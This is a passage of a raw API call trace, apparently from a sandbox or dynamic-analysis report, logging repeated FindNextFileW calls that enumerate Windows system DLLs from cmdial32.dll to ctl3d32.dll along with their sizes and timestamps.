cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0169.473] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0169.474] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ctl3d32.dll", 